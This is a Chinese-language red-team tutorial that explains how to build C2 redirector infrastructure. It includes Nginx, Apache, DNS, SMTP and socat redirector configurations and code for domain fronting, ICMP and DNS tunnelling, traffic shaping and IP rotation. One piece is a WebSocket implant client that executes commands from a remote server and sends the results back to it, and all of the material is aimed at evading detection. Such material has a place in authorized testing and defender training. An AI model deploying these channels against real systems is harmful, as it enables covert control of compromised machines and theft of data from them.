《C2 Redirectors: Advanced Infrastructure for Modern Red Team Operations》深入探讨了现代红队(Red Team)操作中使用的 C2(Command and Control,命令与控制)基础设施的高级技术,重点介绍了 C2 重定向器(Redirectors)的架构与实现。文章首先阐述了 C2 基础设施在红队行动中的核心作用,即通过隐藏真实的 C2 服务器来与目标环境中的植入程序通信,以降低被检测的风险。
文中详细讲解了多种类型的 C2 重定向器,包括 HTTP/HTTPS 重定向器(使用 Nginx 和 Apache 配置)、DNS 重定向器(通过 BIND 实现 DNS 隧道)以及 SMTP 和 Socat 多协议重定向器,并提供了具体的配置代码和实现步骤。
此外,文章还介绍了高级技术如域名伪装(Domain Fronting)、协议封装(Protocol Encapsulation)以及流量整形(Traffic Shaping),以进一步增强隐蔽性。同时,作者强调了操作安全(OPSEC)的重要性,分享了日志管理、IP 轮换、防火墙配置等防御措施,以及如何应对重定向器被发现的情况。总体而言,这篇文章为红队提供了构建隐秘、弹性 C2 基础设施的实用指南,同时也为蓝队(Blue Team)了解对手策略、提升检测能力提供了参考。
这篇简介总结了文章的核心内容,突出了其技术重点和实用价值,同时也考虑到了红队与蓝队在攻防中的双重视角。
介绍
让我们来谈谈命令与控制 (C2) 基础设施。它是任何红队行动的支柱,让你能够与目标环境中的植入物进行通信。但问题是——如今直接连接到 C2 服务器风险太大。现代安全工具可以轻松发现这些连接,这对你的行动来说是个坏消息。
这就是重定向器的作用所在。它们本质上是隐藏实际 C2 服务器的中间人。通过重定向器路由流量,蓝队可以更难找到并阻止你真正的指挥中心。你的基础设施的每个部分都有各自的用途,这使得一切都更加安全高效。
在本文中,我将详细介绍如何设置和使用不同类型的 C2 重定向器。我将向您展示 C2 通信链的具体细节,并提供一些实际可用的示例。
C2通信链详解
在深入研究重定向器之前,你需要了解整个 C2 设置的工作原理。现代 C2 基础设施包含以下几层:
-
植入程序/代理- 这是在受感染系统上运行的恶意代码。它通过建立看似正常流量的出站连接来发起攻击。
-
首跳基础设施- 这些是你的重定向器,也是你的植入程序的第一个接触点。它们暴露在互联网上,但会屏蔽你实际的 C2 服务器。
-
中间层基础设施——这个可选层增加了额外的安全性和流量过滤或额外身份验证等功能。
-
团队服务器- 这是您实际控制一切的 C2 服务器。它绝对不能直接暴露在互联网上。
为什么要设置这么多层?很简单——如果有人发现并阻止了重定向器,你的主要基础设施仍然安全。你只需更换被入侵的重定向器,而不会中断整个运营。
C2重定向器的类型
不同情况需要不同类型的重定向器。让我们来看看最常见的几种重定向器以及如何设置它们。
HTTP/HTTPS 重定向器
HTTP 重定向器非常流行,因为 HTTP 流量可以完美地与正常的 Web 浏览融合。大多数企业环境都不会阻止它,这使得它成为 C2 的理想选择。
Nginx 实现
Nginx 是一款出色的 HTTP 重定向器。它速度快、灵活,而且占用资源少。设置方法如下:
server {listen80;listen443 ssl;server_name legitimate-looking-domain.com;ssl_certificate /etc/letsencrypt/live/legitimate-looking-domain.com/fullchain.pem;ssl_certificate_key /etc/letsencrypt/live/legitimate-looking-domain.com/privkey.pem;access_log /var/log/nginx/legitimate-looking-domain.com.access.log;error_log /var/log/nginx/legitimate-looking-domain.com.error.log;# Critical: Only forward specific URIs to avoid detectionlocation /news/api/v1/ {proxy_pass https://actual-c2-server.com:443/api/;proxy_ssl_server_nameon;proxy_ssl_name actual-c2-server.com;proxy_set_header Host actual-c2-server.com;# Hide original headersproxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;proxy_set_header X-Real-IP $remote_addr; }# Serve legitimate content for all other requestslocation / {root /var/www/legitimate-looking-domain.com;index index.html; }}
此配置做了几件重要的事情:
-
监听 HTTP 和 HTTPS 端口
-
仅将特定 URL 转发到您的 C2 服务器
-
为其他所有内容提供正常内容
-
保留客户端 IP 信息
-
处理 SSL 加密
为了获得最佳效果,请在您的网络服务器上放置与域名匹配的真实内容。如果您的域名与新闻相关,请在上面放置一些文章和图片,以确保它对任何检查者来说都是合法的。
Apache 实现
如果您更喜欢 Apache,请按照以下步骤操作:
<VirtualHost *:80> ServerName legitimate-looking-domain.com ServerAdmin admin@example.com DocumentRoot /var/www/legitimate-looking-domain.com ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined # Redirect everything to HTTPS Redirect permanent / https://legitimate-looking-domain.com/</VirtualHost><VirtualHost *:443> ServerName legitimate-looking-domain.com ServerAdmin admin@example.com DocumentRoot /var/www/legitimate-looking-domain.com SSLEngine on SSLCertificateFile /etc/letsencrypt/live/legitimate-looking-domain.com/fullchain.pem SSLCertificateKeyFile /etc/letsencrypt/live/legitimate-looking-domain.com/privkey.pem # Redirect specific URI pattern ProxyPass /news/api/v1/ https://actual-c2-server.com:443/api/ ProxyPassReverse /news/api/v1/ https://actual-c2-server.com:443/api/ # Set headers for client tracking ProxyPreserveHost Off RequestHeader set Host "actual-c2-server.com" RequestHeader setX-Forwarded-For "%{REMOTE_ADDR}s"</VirtualHost>
这个 Apache 设置做了类似的事情:
-
强制所有内容使用 HTTPS
-
仅将特定 URL 转发到你的 C2
-
设置正确的跟踪标题
选择 Nginx 还是 Apache,取决于你更了解哪个以及你需要哪些功能。Nginx 的代理速度通常更快,但 Apache 可能拥有更多可用的模块。
DNS重定向器
DNS 重定向器处理域查找,这对于锁定 HTTP 但仍允许 DNS 查询(几乎所有网络)的环境来说是完美的。
BIND 实现
BIND 是最常见的 DNS 服务器,它非常适合重定向器:
# named.conf.localzone "c2domain.com" { type master; file "/etc/bind/zones/c2domain.com.zone";};# /etc/bind/zones/c2domain.com.zone$TTL 3600@ IN SOA c2domain.com. admin.c2domain.com. (202503181 ; Serial3600 ; Refresh1800 ; Retry604800 ; Expire86400 ) ; Minimum TTL@ IN NS ns1.c2domain.com.@ IN NS ns2.c2domain.com.@ IN A 203.0.113.10 ; Redirector IPns1 IN A 203.0.113.10ns2 IN A 203.0.113.10# Add DNS TXT records for data exfiltration_data1 IN TXT "redirect-to-actual-c2-server-ip"
此 BIND 设置使你的重定向器成为 C2 域的权威服务器。区域文件定义了各种记录:
-
管理员信息的 SOA 记录
-
名称服务器的 NS 记录
-
将主机名映射到 IP 的 A 记录
-
DNS 隧道的 TXT 记录
DNS 重定向器之所以如此有效,是因为:
-
它们处理正常的 DNS 查询
-
他们可以将特殊查询转发到你的 C2
-
他们可以通过 DNS TXT 记录偷偷传输数据
-
他们使用 UDP 端口 53,该端口很少被阻塞
对于更高级的 DNS 隧道,您可以编写自定义处理程序:
#!/usr/bin/env python3import socketimport dnslibimport threadingdefdns_handler(data, client_addr, server_sock): request = dnslib.DNSRecord.parse(data) domain = str(request.q.qname)# Log the incoming request print(f"Query from {client_addr[0]}: {domain}")# Forward specific subdomains to the actual C2 serverif"exfil"in domain or"cmd"in domain:# Forward to actual C2 DNS server c2_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) c2_sock.sendto(data, ("192.168.100.10", 53)) c2_response, _ = c2_sock.recvfrom(1024) server_sock.sendto(c2_response, client_addr)else:# Handle normally or return predefined response qname = request.q.qname reply = request.reply() reply.add_answer(dnslib.RR(qname, dnslib.QTYPE.A, rdata=dnslib.A("203.0.113.10"))) server_sock.sendto(reply.pack(), client_addr)defmain(): server_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) server_sock.bind(("0.0.0.0", 53)) print("DNS redirector running...")whileTrue: data, client_addr = server_sock.recvfrom(1024) thread = threading.Thread(target=dns_handler, args=(data, client_addr, server_sock)) thread.daemon = True thread.start()if __name__ == "__main__": main()
这个 Python 脚本:
-
监听端口 53 上的 DNS 查询
-
解析查询
-
寻找指示 C2 流量的特殊模式
-
将这些转发到你的实际 C2 服务器
-
对其他所有情况都发送正常响应
-
使用线程来处理多个请求
DNS 隧道的妙处在于,它能将命令和控制数据隐藏在看似常规 DNS 查询的内容中。你的植入程序可能会将数据编码到子域名查询中base64encodeddata123.exfil.c2domain.com,例如,你的重定向器就会知道转发这些特殊查询。
SMTP 重定向器
电子邮件是另一种偷偷运行 C2 的方式。当安全团队过于专注于网络流量而忽略电子邮件时,这种方法尤其有效。SMTP 重定向器会在植入程序和 C2 服务器之间转发特制的电子邮件。
以下是创建 SMTP 重定向器的简单 Postfix 设置:
# Postfix main.cf snippetrelay_domains = legitimate-company.com, c2domain.comtransport_maps = hash:/etc/postfix/transport# /etc/postfix/transportc2domain.com smtp:[192.168.100.10]
其作用:
-
设置 Postfix 来处理两个域名的电子邮件:一个看似合法的公司域名和一个你的 C2 域名
-
创建路由规则,将所有 C2 域电子邮件直接发送到您的实际 C2 服务器
-
看起来像一个普通的邮件服务器,但实际上却在秘密处理你的 C2 流量
SMTP 重定向器具有一些独特的优势:
-
每家公司都预计会有电子邮件流量
-
电子邮件通常不会像网络流量那样受到严格检查
-
电子邮件的存储转发设计为您提供内置的可靠性
-
电子邮件可能携带大量数据,容易被泄露
为了使您的 SMTP 重定向器更好,您可以:
-
添加过滤器以仅转发带有特殊标记的电子邮件
-
加密/解密电子邮件正文
-
使用主题行来编码命令
-
处理附件以防数据泄露
多协议 Socat 重定向器
需要快速灵活的工具吗?Socat 就是完美之选。它就像一把瑞士军刀,可以在各种不同的网络连接之间创建数据通道。
# TCP redirectionsocat TCP-LISTEN:80,fork TCP:192.168.100.10:80# TCP with SSL terminationsocat OPENSSL-LISTEN:443,cert=server.pem,fork TCP:192.168.100.10:443# UDP redirection (useful for DNS)socat UDP-LISTEN:53,fork UDP:192.168.100.10:53
这些简单的命令可以创建强大的重定向器:
-
第一个在端口 80 上获取 TCP 连接并将其转发到你的 C2
-
第二个处理端口 443 上的 HTTPS 流量
-
第三个管理端口 53 上的 UDP,非常适合 DNS 隧道
该fork参数为每个连接创建一个新进程,使重定向器可以同时处理多个客户端。虽然 socat 不像专用的 Web 服务器或 DNS 服务器那样复杂,但它非常适合:
-
在您着急时快速部署
-
临时重定向器
-
测试新的 C2 通道
-
低资源环境
-
不寻常或自定义协议
想要让你的 socat 重定向器更安全吗?试试以下方法:
# Source IP filteringsocat TCP-LISTEN:80,fork,range=192.168.1.0/24 TCP:192.168.100.10:80# Connection rate limitingsocat TCP-LISTEN:80,fork,max-children=10 TCP:192.168.100.10:80# Logging all trafficsocat -v TCP-LISTEN:80,fork TCP:192.168.100.10:802>>/var/log/socat.log
这些调整为您的 socat 重定向器添加了基本的安全性,防止滥用并确保您的操作安全。
每种类型的重定向器都有其优势,具体取决于您的需求以及所面临的安全挑战。通过策略性地使用这些重定向器,您将拥有更加隐蔽、更具弹性的 C2 基础设施。
这些重定向技术对于现代红队至关重要。它们可以帮助您保持对目标的访问而不被发现。随着蓝队的检测能力不断提高,红队也需要不断改进其方法。我向您展示的技术是当前的最佳实践,但您需要根据特定的目标环境进行调整。
高级重定向器技术
域名前端
域名前置是一种强大的技术,它利用内容分发网络 (CDN) 来隐藏 HTTPS 流量的实际去向。它利用了 DNS 请求和 TLS 握手中的域名可能与加密 HTTPS 请求中的实际主机头不同的特性。
简单来说,域名前端的工作原理如下:
-
您的植入物连接到 CDN 上的受信任域(例如high-reputation-domain.com)
-
在加密的 HTTP 标头中,它会询问你的实际 C2 服务器
-
CDN 将请求路由到其网络内的服务器
-
网络监控仅看到与受信任域的连接
此 Python 代码展示了一个基本的域前端请求:
#!/usr/bin/env python3import requests# The domain fronting requestheaders = {'Host': 'actual-c2-server.com', # Real backend server'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'}# The connection goes to a high-reputation domain on the same CDNresponse = requests.get('https://high-reputation-domain.com/path', # CDN edge domain headers=headers)print(response.text)
域名前置如此有效是因为:
-
监控可见的连接部分仅显示受信任的域
-
真正的目的地隐藏在加密的 TLS 会话中
-
您的流量看起来将流向合法服务
-
由于前端域名用于合法用途,因此封锁前端域名会造成附带损害
要为您的 C2 设置域名前端:
-
找到合适的 CDN:尝试 Azure Front Door、Amazon CloudFront 或 Fastly。寻找不检查 Host 头是否与 SNI 匹配的 CDN。
-
将您的 C2 服务器置于 CDN 后面:将其配置为接受基于 Host 标头转发的请求。
-
配置您的植入物:更新它们以使用域前端 - 连接到受信任的域,但在主机标头中设置您的 C2 服务器。
-
关注 CDN 政策变化:CDN 提供商会持续更新其域名前置政策。一旦他们开始屏蔽,请做好应对准备。
尽管随着 CDN 提供商的打击,域名前置变得越来越困难,但“域名隐藏”等变体仍然以类似的方式发挥作用。
协议封装
协议封装是指将 C2 流量隐藏在其他协议中,以避免被发现。这种方法之所以有效,是因为某些协议的审查较少,或者难以深入检测。
以下是在看似正常的 HTTPS 请求中隐藏 C2 数据的示例:
defencapsulate_in_https(c2_data):"""Encapsulate C2 data in a legitimate-looking HTTPS request""" headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36','Accept': 'text/html,application/xhtml+xml','Accept-Language': 'en-US,en;q=0.9','Referer': 'https://www.google.com/','X-Custom-Data': base64.b64encode(c2_data).decode('utf-8') }# Add randomized legitimate parameters params = {'id': str(random.randint(10000, 99999)),'session': ''.join(random.choices('abcdefghijklmnopqrstuvwxyz0123456789', k=16)),'utm_source': random.choice(['google', 'bing', 'facebook', 'twitter']) }return requests.get('https://redirector-domain.com/blog/article', headers=headers, params=params)
此功能通过以下方式将 C2 流量伪装成正常的网页浏览:
-
使用真实的浏览器标头
-
添加常见查询参数,就像您在正常网络流量中看到的那样
-
将 C2 数据隐藏在自定义标头中
-
使用看似正常浏览的合理 URL
其他良好的封装协议包括:
1、ICMP 隧道:将数据隐藏在 ping 数据包中,这些数据包通常可以轻松穿过防火墙。
deficmp_tunnel_send(c2_data, target_ip):"""Send C2 data in ICMP packets"""# Split data into chunks to fit in ICMP packets chunks = [c2_data[i:i+32] for i in range(0, len(c2_data), 32)]for i, chunk in enumerate(chunks):# Create an ICMP echo request with data in the payload packet = IP(dst=target_ip)/ICMP(type=8, seq=i)/Raw(load=chunk) send(packet, verbose=0) time.sleep(random.uniform(0.1, 0.5)) # Add jitter
2、WebSocket 隧道:使用 WebSocket,一旦建立就允许双向通信。
// WebSocket-based C2 clientconst establishC2Channel = () => {const ws = new WebSocket('wss://legitimate-ws-service.com/socket'); ws.onopen = () => {console.log('Connection established');// Send initial beacon ws.send(JSON.stringify({type: 'status', data: encodeSystemInfo() })); }; ws.onmessage = (event) => {const message = JSON.parse(event.data);// Process commands from the C2 serverif (message.type === 'command') { executeCommand(message.data) .then(result => { ws.send(JSON.stringify({type: 'result', id: message.id, data: result })); }); } };// Implement reconnection logic ws.onclose = () => { setTimeout(establishC2Channel, getJitteredInterval(5000, 30000)); };};
3、DNS 隧道:对 DNS 查询和响应中的数据进行编码,我们之前讨论过。
为了获得最佳效果,将协议封装与流量整形结合起来,使您的流量模式看起来像您正在模仿的合法协议。
流量整形和定时
流量整形就是让你的 C2 流量看起来像正常的流量模式。这使得防御者更难通过时序分析或观察流量来发现你的活动。
这是一个模仿真实人类和工作时间工作的简单实现:
defsend_c2_traffic(data):"""Send C2 traffic with realistic timing patterns""" chunks = split_into_chunks(data)for chunk in chunks:# Working hours pattern (more traffic during business hours) hour = datetime.now().hourif9 <= hour <= 17: # Business hours delay = random.uniform(1, 5) # 1-5 secondselse: delay = random.uniform(30, 120) # 30-120 seconds# Randomize weekendsif datetime.now().weekday() >= 5: # Weekend delay *= 2 time.sleep(delay) send_chunk(chunk)
此功能包括几个智能流量整形技巧:
-
时间意识:在工作时间发送更多流量
-
星期几感知:像真正的办公室一样,周末放慢节奏
-
随机延迟:使用不同的时间间隔来避免模式
-
分块传输:将大数据分解成更小的部分,以避免可疑的大量传输
如需更高级的流量整形,请尝试以下技术:
1、基于卷的整形:根据一天中的时间更改传输的数据量。
defdetermine_safe_transfer_volume():"""Determine safe data transfer volume based on time patterns""" hour = datetime.now().hour weekday = datetime.now().weekday()# Base volume (in KB)if weekday < 5: # Weekdayif9 <= hour < 12or13 <= hour < 17: # Peak work hoursreturn random.randint(50, 200)elif7 <= hour < 9or17 <= hour < 19: # Commute timesreturn random.randint(20, 50)else: # Night timereturn random.randint(5, 15)else: # Weekendreturn random.randint(10, 30)
2、浏览器行为模仿:使您的流量看起来像某人正在浏览网页。
defmimic_browser_behavior(session, target_url):"""Mimic realistic browsing patterns for web-based C2"""# First request: main page response = session.get(target_url)# Extract links from the page links = extract_links(response.text)# Visit 2-5 random pages from the sitefor _ in range(random.randint(2, 5)):ifnot links:break# Choose a random link next_url = random.choice(links) links.remove(next_url)# Add realistic delay between page visits time.sleep(random.uniform(3, 15))# Visit the page session.get(next_url)# Return to main page occasionallyif random.random() < 0.3: time.sleep(random.uniform(5, 20)) session.get(target_url)
3、特定于协议的整形:确保您的流量符合您正在使用的协议的预期模式。
对于基于 HTTP 的 C2,这包括以下内容:
-
按正确的顺序请求资源(先 HTML,然后 CSS/JS/图像)
-
使用适当的缓存标头
-
维护会话的 cookie
-
遵循现实的引荐来源路径
对于基于 DNS 的 C2:
-
模仿正常的 DNS 缓存行为
-
避免过多的查询
-
尊重TTL值
-
将合法查询与 C2 查询混合
通过良好的流量整形,您的 C2 通信将更难与合法流量模式区分开来。
重定向器强化
除了我们讨论过的规避技术之外,您还需要加强重定向器以防止发现、泄露和归因,以保持良好的操作安全性。
TLS 证书管理
正确的 TLS 证书至关重要。现代网络通常会检查 TLS 流量并检查证书,因此您需要确保这一点正确无误。
以下是证书管理的一个好方法:
# Using Let's Encrypt for legitimate-looking certificatescertbot certonly --standalone -d legitimate-looking-domain.com# Check certificate expirationopenssl x509 -in /etc/letsencrypt/live/legitimate-looking-domain.com/cert.pem -noout -dates# Set up automatic renewalecho"0 0 * * * root certbot renew --quiet" > /etc/cron.d/certbot-renew
为了最大程度的安全性和合法性:
1、使用受信任的证书颁发机构:Let's Encrypt 证书受到广泛信任并广泛用于合法网站。
2、创建适当的证书参数:
# Creating a proper CSR with appropriate parametersopenssl req -new -sha256 -key domain.key -subj "/C=US/ST=California/L=San Francisco/O=Technology Blog/CN=legitimate-looking-domain.com" -reqexts SAN -config <(cat /etc/ssl/openssl.cnf <(printf"[SAN]nsubjectAltName=DNS:legitimate-looking-domain.com,DNS:www.legitimate-looking-domain.com")) -out domain.csr
3、设置强密码配置:
# NginxconfigurationformodernTLSsecurityssl_protocolsTLSv1.2TLSv1.3;ssl_prefer_server_ciphersoff;ssl_ciphersECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305;ssl_session_timeout 1d;ssl_session_cacheshared:SSL:10m;ssl_session_ticketsoff;
4、使用 OCSP 装订来防止可能发现可疑活动的证书检查:
ssl_staplingon;ssl_stapling_verifyon;ssl_trusted_certificate /etc/letsencrypt/live/legitimate-looking-domain.com/chain.pem;resolver8.8.8.88.8.4.4 valid=300s;resolver_timeout5s;
5、注意证书透明度日志:请记住,新证书是公开记录的,防御者可能会对其进行监控。
defcheck_certificate_transparency_exposure(domain):"""Check if a domain appears in certificate transparency logs""" url = f"https://crt.sh/?q={domain}&output=json" response = requests.get(url)if response.status_code == 200: certificates = response.json() print(f"Found {len(certificates)} certificates for {domain}")for cert in certificates[:5]: # Show the 5 most recent print(f"Issued: {cert['entry_timestamp']}, CA: {cert['issuer_name']}")else: print("Failed to check certificate transparency logs")
通过适当的证书管理,您的重定向器将提供不会触发安全警报的合法 TLS 设置。
IP轮换策略
为了避免被 IP 黑名单或信誉监控检测到,您应该定期轮换重定向器 IP。以下是使用 AWS 自动执行此操作的方法:
import boto3import timedefrotate_redirector_ip():"""Rotate EC2 instance Elastic IP to avoid blocking""" ec2 = boto3.client('ec2')# Allocate new Elastic IP new_ip = ec2.allocate_address(Domain='vpc')# Get current instance ID instances = ec2.describe_instances( Filters=[{'Name': 'tag:Role', 'Values': ['redirector']}] ) instance_id = instances['Reservations'][0]['Instances'][0]['InstanceId']# Associate new IP with instance ec2.associate_address( InstanceId=instance_id, AllocationId=new_ip['AllocationId'] )# Update DNS records update_dns_records(new_ip['PublicIp'])# Wait for propagation time.sleep(300)# Release old IP if needed old_addresses = ec2.describe_addresses()for addr in old_addresses['Addresses']:if'InstanceId'notin addr and addr['AllocationId'] != new_ip['AllocationId']: ec2.release_address(AllocationId=addr['AllocationId'])
该函数处理 IP 轮换的几个关键方面:
-
自动获取新 IP 地址
-
将其连接到您现有的服务器
-
更新 DNS 记录以指向新的 IP
-
等待 DNS 传播
-
清理旧 IP 以避免不必要的成本
为了更好地轮换 IP:
1、安排与特定活动不一致的定期轮换。
defschedule_ip_rotation(ec2_instances, rotation_frequency_hours=72):"""Schedule regular IP rotation for multiple redirectors"""import schedule# Stagger rotation times to avoid all redirectors changing simultaneouslyfor i, instance in enumerate(ec2_instances):# Calculate hours offset to stagger rotations offset_hours = (i * rotation_frequency_hours) / len(ec2_instances) initial_delay = datetime.timedelta(hours=offset_hours) next_rotation = datetime.datetime.now() + initial_delay print(f"Scheduling instance {instance} for first rotation at {next_rotation}")# Schedule initial rotation schedule.every(rotation_frequency_hours).hours.do(rotate_instance_ip, instance_id=instance)# Run the schedulerwhileTrue: schedule.run_pending() time.sleep(60)
2、使用来自不同地区的 IP来增加归因难度并避免区域封锁。
defallocate_ip_in_region(region):"""Allocate an IP address in a specific AWS region""" ec2 = boto3.client('ec2', region_name=region)# Allocate Elastic IP in the specified region allocation = ec2.allocate_address(Domain='vpc')return {'region': region,'allocation_id': allocation['AllocationId'],'public_ip': allocation['PublicIp'] }# Allocate IPs across different regionsregions = ['us-east-1', 'eu-west-1', 'ap-southeast-1', 'sa-east-1']regional_ips = [allocate_ip_in_region(region) for region in regions]
3、定期监控 IP 信誉,检查您的重定向器 IP 是否已被标记。
defcheck_ip_reputation(ip_address):"""Check if an IP has been flagged in threat intelligence platforms"""# Example using AbuseIPDB API url = f"https://api.abuseipdb.com/api/v2/check" headers = {'Key': 'YOUR_API_KEY','Accept': 'application/json', } params = {'ipAddress': ip_address,'maxAgeInDays': 90 } response = requests.get(url, headers=headers, params=params) data = response.json()if data['data']['abuseConfidenceScore'] > 20: print(f"WARNING: IP {ip_address} has a high abuse score: {data['data']['abuseConfidenceScore']}")returnTruereturnFalse# Check all redirector IPsfor redirector_ip in get_current_redirector_ips():if check_ip_reputation(redirector_ip):# Trigger an emergency rotation if the IP is flagged emergency_rotate_ip(redirector_ip)
通过良好的 IP 轮换策略,您可以显著降低重定向器被基于 IP 的检测识别和阻止的风险。
防火墙配置
良好的防火墙规则对于保护您的重定向器免受攻击至关重要,同时仍使它们看起来像普通服务器。
# iptables rules to harden redirector# Allow only necessary portsiptables -A INPUT -p tcp --dport 80 -j ACCEPTiptables -A INPUT -p tcp --dport 443 -j ACCEPT# Rate limiting to prevent fingerprintingiptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --setiptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 60 --hitcount 20 -j DROP# Log suspicious activitiesiptables -A INPUT -p tcp --dport 22 -j LOG --log-prefix "SSH ATTEMPT: "# Geolocation filtering if applicable to the operationiptables -A INPUT -m geoip --src-cc RU,CN -j DROP
这些防火墙规则做了几件重要的事情:
-
限制端口:仅允许 HTTP/HTTPS 流量
-
速率限制:阻止可能正在扫描的快速连接尝试
-
记录可疑内容:跟踪访问 SSH 的尝试
-
地理过滤:阻止来自与您的操作无关的国家/地区的流量
为了更好地强化防火墙:
1、允许已建立的连接但拒绝其他传入流量:
# Allow established and related trafficiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT# Allow loopback trafficiptables -A INPUT -i lo -j ACCEPT# Allow specific servicesiptables -A INPUT -p tcp --dport 80 -j ACCEPTiptables -A INPUT -p tcp --dport 443 -j ACCEPT# Default deny ruleiptables -A INPUT -j DROP
2、放弃扫描尝试而不响应:
# Drop common scan attempts without responseiptables -A INPUT -p tcp --dport 22 -j DROPiptables -A INPUT -p tcp --dport 3389 -j DROPiptables -A INPUT -p tcp --dport 445 -j DROPiptables -A INPUT -p tcp --dport 1433 -j DROP
3、优化连接跟踪:
# Set custom connection tracking timeoutsecho "net.netfilter.nf_conntrack_tcp_timeout_established=3600">> /etc/sysctl.confecho "net.netfilter.nf_conntrack_udp_timeout=30">> /etc/sysctl.confecho "net.netfilter.nf_conntrack_icmp_timeout=30">> /etc/sysctl.confsysctl -p
有了良好的防火墙规则,您不仅可以保护重定向器免受常见攻击,还可以确保它们看起来像网络上的合法服务器。
现代红队行动需要快速部署、易于维护且能够适应不断变化的情况的基础设施。我们介绍的方法有助于满足这些需求,同时确保您的行动安全可靠且富有弹性。
打造完整的重定向舰队
基础设施即代码(Terraform)
基础设施即代码 (IaC) 使您能够通过代码而非手动流程来定义、部署和管理重定向器基础设施。Terraform 特别适合此用途,它允许您对基础设施进行版本控制并确保一致的部署。
以下是使用 Terraform 部署完整重定向器基础设施的综合示例:
provider"aws" {region = "us-east-1"}# Create redirector VPCresource "aws_vpc""redirector_vpc" {cidr_block = "10.0.0.0/16" tags = {Name = "RedirectorVPC" }}# Create public subnetresource "aws_subnet""redirector_subnet" {vpc_id = aws_vpc.redirector_vpc.id cidr_block = "10.0.1.0/24" map_public_ip_on_launch = true tags = {Name = "RedirectorSubnet" }}# Create security groupresource "aws_security_group""redirector_sg" {name = "redirector_sg" description = "Allow HTTP/HTTPS inbound traffic" vpc_id = aws_vpc.redirector_vpc.id ingress {from_port = 80 to_port = 80 protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } ingress {from_port = 443 to_port = 443 protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } egress {from_port = 0 to_port = 0 protocol = "-1" cidr_blocks = ["0.0.0.0/0"] }}# Create EC2 instanceresource "aws_instance""http_redirector" {ami = "ami-0c55b159cbfafe1f0"# Ubuntu 20.04 LTS instance_type = "t3.micro" subnet_id = aws_subnet.redirector_subnet.id vpc_security_group_ids = [aws_security_group.redirector_sg.id] key_name = "redirector-key" user_data = <<-EOF#!/bin/bash apt-get update apt-get install -y nginx certbot python3-certbot-nginx echo 'server { listen 80; server_name ${var.redirector_domain}; location /news/api/v1/ { proxy_pass https://${var.c2_server}/api/; proxy_set_header Host ${var.c2_server}; } location / { root /var/www/html; index index.html; } }' > /etc/nginx/sites-available/default systemctl restart nginx EOF tags = {Name = "HTTP-Redirector" Role = "redirector" }}# Create managed DNS recordresource "aws_route53_record""redirector_dns" {zone_id = var.hosted_zone_id name = var.redirector_domain type = "A" ttl = "300" records = [aws_instance.http_redirector.public_ip]}# Variablesvariable "redirector_domain" {description = "Domain name for the redirector" type = string default = "news-updates.com"}variable "c2_server" {description = "Actual C2 server domain or IP" type = string}variable "hosted_zone_id" {description = "Route53 hosted zone ID" type = string}# Outputsoutput "redirector_ip" {value = aws_instance.http_redirector.public_ip}output "redirector_domain" {value = var.redirector_domain}
此 Terraform 配置:
-
为重定向器创建专用 VPC 和子网
-
配置适当的安全组,仅允许必要的端口
-
部署一个 EC2 实例,并将 nginx 预先配置为重定向器
-
设置指向重定向器的 DNS 记录
-
输出重定向器的 IP 和域名以供参考
为您的转向器队列使用基础设施即代码的优势包括:
-
可重复性:确保跨多个重定向器的一致部署
-
版本控制:跟踪基础设施随时间的变化
-
快速部署:需要时可快速设置新的重定向器
-
文档:代码本身作为基础设施的文档
-
自动化:促进与 CI/CD 管道集成,实现自动化部署
要将此方法扩展到完整的重定向器队列,您可以:
-
使用 Terraform 模块定义不同类型的重定向器(HTTP、DNS、SMTP)
-
实施多区域部署,实现地理多样性
-
设置自动扩展组以满足高可用性要求
-
与秘密管理服务集成以实现安全的凭证处理
Ansible 用于配置管理
Terraform 擅长配置基础设施,而 Ansible 则通过管理重定向器上的配置和软件来补充 Terraform。这种组合提供了一种强大的方法来维护一致且安全的重定向器集群。
---- name: Configure HTTP Redirector hosts: redirectors become: yes vars: redirector_domain: "news-updates.com" c2_server: "actual-c2-server.com" cert_email: "[email protected]" tasks: - name: Updateandupgrade apt packages apt:upgrade: yes update_cache: yes - name: Installrequired packages apt:name: - nginx - certbot - python3-certbot-nginx - fail2ban - ufw state: present - name: Configure Nginxtemplate: src: templates/nginx.conf.j2 dest: /etc/nginx/sites-available/default notify: Restart Nginx - name: Configure fail2bantemplate: src: templates/jail.local.j2 dest: /etc/fail2ban/jail.local notify: Restart fail2ban - name: Configure UFW ufw: rule: allow port: "{{ item }}" proto: tcploop: - 80 - 443 - name: Enable UFW ufw: state: enabledpolicy: deny - name: Obtain SSL certificate shell: > certbot --nginx -d {{ redirector_domain }} --non-interactive --agree-tos -m {{ cert_email }} args: creates: /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem - name: Set up automatic certificate renewal cron:name: "Certbot renewal" job: "certbot renew --quiet --no-self-upgrade" special_time: daily handlers: - name: Restart Nginx service:name: nginx state: restarted - name: Restart fail2ban service:name: fail2ban state: restarted
此 Ansible 剧本执行几个关键任务:
-
更新系统并安装必要的软件包
-
使用模板配置 Nginx,实现一致的配置
-
设置 fail2ban 以防止暴力破解
-
配置具有适当规则的防火墙(UFW)
-
获取并配置具有自动续订功能的 SSL 证书
为了进行全面的配置管理,您的 Ansible 存储库应包括:
基于角色的组织:为不同的重定向器类型分配不同的角色
-
模板:服务的标准化配置模板
-
库存管理:基于云的重定向器的动态库存
-
机密管理:与 Ansible Vault 或外部机密存储集成
-
定期维护:定期运行剧本进行更新和配置检查
Docker 用于容器化重定向器
如果您需要快速部署重定向器或经常重新配置它们,Docker 容器非常适合。它们提供隔离性、可移植性,并使管理更加轻松。
